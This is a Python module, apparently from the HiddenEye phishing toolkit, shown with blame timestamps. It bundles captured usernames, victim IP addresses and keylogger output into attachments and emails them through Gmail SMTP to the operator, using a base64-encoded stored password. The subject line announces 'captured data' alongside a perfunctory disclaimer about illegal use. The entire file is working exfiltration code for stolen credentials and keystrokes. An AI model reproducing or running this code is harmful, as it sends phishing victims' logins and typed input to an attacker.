2019-11-14 19:02:29 +08:00
|
|
|
#!/usr/bin/env python
|
|
|
|
# encoding: utf-8
|
|
|
|
|
|
|
|
import os
|
|
|
|
import base64
|
|
|
|
import smtplib
|
|
|
|
import emailconfig
|
|
|
|
from os import system
|
|
|
|
from email.mime.text import MIMEText
|
|
|
|
from email import encoders
|
|
|
|
from email.mime.base import MIMEBase
|
|
|
|
from email.mime.multipart import MIMEMultipart
|
|
|
|
|
|
|
|
COMMASPACE = ', '
|
|
|
|
|
2019-11-17 00:19:44 +08:00
|
|
|
|
2019-11-14 19:02:29 +08:00
|
|
|
def main():
|
|
|
|
system('touch Defs/Send_Email/attachments/READ_IT.txt && touch Defs/Send_Email/attachments/usernames.txt && touch Defs/Send_Email/attachments/ip.txt && touch Defs/Send_Email/attachments/KeyloggerData.txt')
|
2019-11-17 00:19:44 +08:00
|
|
|
|
|
|
|
# Decoding Password from (Defs/Send_Email/emailconfig.py) ..
|
2019-11-14 19:02:29 +08:00
|
|
|
gmail_password = base64.b64decode(emailconfig.gmail_password)
|
|
|
|
gmail_password = (gmail_password.decode('utf-8'))
|
2019-11-17 00:19:44 +08:00
|
|
|
|
2019-11-14 19:02:29 +08:00
|
|
|
# Create the enclosing (outer) message
|
2019-11-17 00:19:44 +08:00
|
|
|
|
2019-11-14 19:02:29 +08:00
|
|
|
outer = MIMEMultipart()
|
|
|
|
outer['Subject'] = "[ HIDDENEYE ]:: HERE IS YOUR CAPTURED DATA. (We don't support Illegal Use of Tool)"
|
|
|
|
outer['To'] = emailconfig.recipient_email
|
|
|
|
outer['From'] = emailconfig.gmail_account
|
|
|
|
outer.preamble = ''
|
|
|
|
# List of attachments
|
|
|
|
print('[.] Adding Attachments...')
|
2019-11-17 00:19:44 +08:00
|
|
|
attachments = ['Defs/Send_Email/attachments/READ_IT.txt', 'Defs/Send_Email/attachments/ip.txt',
|
|
|
|
'Defs/Send_Email/attachments/usernames.txt', 'Defs/Send_Email/attachments/KeyloggerData.txt']
|
2019-11-14 19:02:29 +08:00
|
|
|
print('[.] Attachments Added.')
|
|
|
|
# Add the attachments to the message
|
|
|
|
for file in attachments:
|
|
|
|
try:
|
|
|
|
with open(file, 'rb') as fp:
|
|
|
|
msg = MIMEBase('application', "octet-stream")
|
|
|
|
msg.set_payload(fp.read())
|
|
|
|
encoders.encode_base64(msg)
|
2019-11-17 00:19:44 +08:00
|
|
|
msg.add_header('Content-Disposition', 'attachment',
|
|
|
|
filename=os.path.basename(file))
|
|
|
|
|
2019-11-14 19:02:29 +08:00
|
|
|
outer.attach(msg)
|
|
|
|
except:
|
|
|
|
print("[.] Unable to open one of the attachments. Error Occured ! ")
|
|
|
|
raise
|
2019-11-17 00:19:44 +08:00
|
|
|
|
2019-11-14 19:02:29 +08:00
|
|
|
composed = outer.as_string()
|
|
|
|
|
|
|
|
# Send the email
|
|
|
|
try:
|
|
|
|
with smtplib.SMTP('smtp.gmail.com', 587) as s:
|
|
|
|
s.ehlo()
|
|
|
|
s.starttls()
|
|
|
|
s.ehlo()
|
|
|
|
print('[.] Trying To Login To Your Gmail Account...')
|
|
|
|
s.login(emailconfig.gmail_account, gmail_password)
|
|
|
|
print('[.] Login : SUCCESS')
|
|
|
|
print('[.] Sending Captured Data to Recipient Email Address...')
|
2019-11-17 00:19:44 +08:00
|
|
|
s.sendmail(emailconfig.gmail_account,
|
|
|
|
emailconfig.recipient_email, composed)
|
2019-11-14 19:02:29 +08:00
|
|
|
print('[.] EMAIL SEND : SUCCESS')
|
|
|
|
s.close()
|
|
|
|
print('')
|
|
|
|
print("[+] Check Your Inbox For Email.")
|
|
|
|
except:
|
|
|
|
print("[^] Unable To Send The Email. Error Occured ! ")
|
2019-11-17 00:19:44 +08:00
|
|
|
|
2019-11-14 19:02:29 +08:00
|
|
|
|
|
|
|
if __name__ == '__main__':
|
|
|
|
main()
|